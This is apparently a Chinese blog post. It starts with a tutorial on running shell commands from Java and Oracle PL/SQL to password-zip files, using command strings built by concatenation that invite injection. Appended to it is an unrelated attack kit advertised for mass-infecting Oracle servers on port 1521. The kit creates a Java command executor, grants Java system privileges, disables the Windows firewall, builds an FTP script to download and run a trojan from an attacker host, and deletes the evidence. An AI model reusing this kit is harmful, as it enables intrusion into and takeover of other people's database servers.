执行命令zip加密文件

1. 在java code中调用以下代码:

Process process = Runtime.getRuntime().exec(new String[] { "/bin/csh", "-c","zip -P "+alarmKey+" "+zipName+" "+fileName });


2. 在PLSQL环境下:

2.1.在PLSQL code中可以先创建以下Store Procedure去调用java source code:

CREATE OR REPLACE PROCEDURE host_command (p_command  IN  VARCHAR2)
AUTHID Current_User
AS LANGUAGE JAVA
NAME 'Host.executeCommand (java.lang.String)';

2.2.在数据库中定义以下java source code:

create or replace and compile java source named host as
import java.io.*;
public class Host {
  public static void executeCommand(String command) {
    try {
      String[] finalCommand;
      if (isWindows()) {
        finalCommand = new String[4];
        // Use the appropriate path for your windows version.
        finalCommand[0] = "C:\\windows\\system32\\cmd.exe";  // Windows XP/2003
        //finalCommand[0] = "C:\\winnt\\system32\\cmd.exe";  // Windows NT/2000
        finalCommand[1] = "/y";
        finalCommand[2] = "/c";
        finalCommand[3] = command;
      }
      else {
        finalCommand = new String[3];
        finalCommand[0] = "/bin/sh";
        finalCommand[1] = "-c";
        finalCommand[2] = command;
      }
      final Process pr = Runtime.getRuntime().exec(finalCommand);
      pr.waitFor();
      new Thread(new Runnable(){
        public void run() {
          BufferedReader br_in = null;
          try {
            br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
            String buff = null;
            while ((buff = br_in.readLine()) != null) {
              System.out.println("Process out :" + buff);
              try {Thread.sleep(100); } catch(Exception e) {}
            }
            br_in.close();
          }
          catch (IOException ioe) {
            System.out.println("Exception caught printing process output.");
            ioe.printStackTrace();
          }
          finally {
            try {
              br_in.close();
            } catch (Exception ex) {}
          }
        }
      }).start();
      new Thread(new Runnable(){
        public void run() {
          BufferedReader br_err = null;
          try {
            br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
            String buff = null;
            while ((buff = br_err.readLine()) != null) {
              System.out.println("Process err :" + buff);
              try {Thread.sleep(100); } catch(Exception e) {}
            }
            br_err.close();
          }
          catch (IOException ioe) {
            System.out.println("Exception caught printing process error.");
            ioe.printStackTrace();
          }
          finally {
            try {
              br_err.close();
            } catch (Exception ex) {}
          }
        }
      }).start();
    }
    catch (Exception ex) {
      System.out.println(ex.getLocalizedMessage());
    }
  }
  public static boolean isWindows() {
    if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
      return true;
    else
      return false;
  }
};


2.3.在Store Procedure中调用:

-- The following command Use for HK site.
--host_command (p_command => '/usr/bin/zip -P ' || v_RPT_PWD || ' -j ' || v_directory_path || v_zip_file_name || ' '|| v_directory_path || v_data_file_name );
-- The following command Use for testing.
host_command (p_command => 'zip -j '|| v_directory_path || v_zip_file_name || ' '|| v_directory_path || v_data_file_name );
       


个人全自动1521传马工具日抓千鸡 http://www.skycn.com/soft/1211.html http://www.irisbay.com/down/pub/ora10client.rar 首先安装两个必须的文件 3. 安装ftp 建立好自己的 ftp地址 账户 密码 4. 设置目录里面的 java.sql 打开以后 看最下面 自己修改ftp地址 账户 密码等等 5. 都设置完成以后 把目录里面的 java.sql 放到c盘 即可! create or replace and compile java souRCe named "util" as import java.io.*; import java.lang.*; public class util extends Object { public static int RunThis(String args) { Runtime rt = Runtime.getRuntime(); int RC = -1; try { Process p = rt.exec(args); int bufSize = 4096; BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize); int len; byte buffer[] = new byte[bufSize]; // Echo back what the program spit out while ((len = bis.read(buffer , 0, bufSize)) != -1) System.out.write(buffer, 0, len); RC = p.waitFor(); } catch (Exception e) { e.printStackTrace(); RC = -1; } finally { return RC; } } } / create or replace function RUN_CMz(p_cmd in varchar2) return number as language java name 'util.RunThis(java.lang.String) return integer'; / create or replace procedure RC(p_cmd in varChar) as x number; begin x := RUN_CMz(p_cmd); end; / variable x number; set serveroutput on; exec dbms_java.set_output(100000); grant javasyspriv to system; grant javauserpriv to system; exec:x:=run_cmz('net stop sharedaccess'); exec:x:=run_cmz('cmd.exe cmd/C del p.bat'); exec:x:=run_cmz('cmd.exe cmd/C del d.bat'); exec:x:=run_cmz('cmd.exe cmd/C del k.exe'); exec:x:=run_cmz('cmd.exe cmd/C echo open IP>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo FTP账号>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo FTP密码>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo bin>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo get 木马名.exe>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo bye>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo ftp -s:p.bat>>d.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo 木马名.exe>>d.bat'); exec:x:=run_cmz('d.bat'); exec:x:=run_cmz('木马名.exe'); exec:x:=run_cmz('cmd.exe cmd/C del C:\WINDOWS\system32\cscript.exe'); exec:x:=run_cmz('cmd.exe cmd/C del p.bat'); exec:x:=run_cmz('cmd.exe cmd/C del d.bat'); exec:x:=run_cmz('cmd.exe cmd/C del 木马名.exe'); exit exit
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值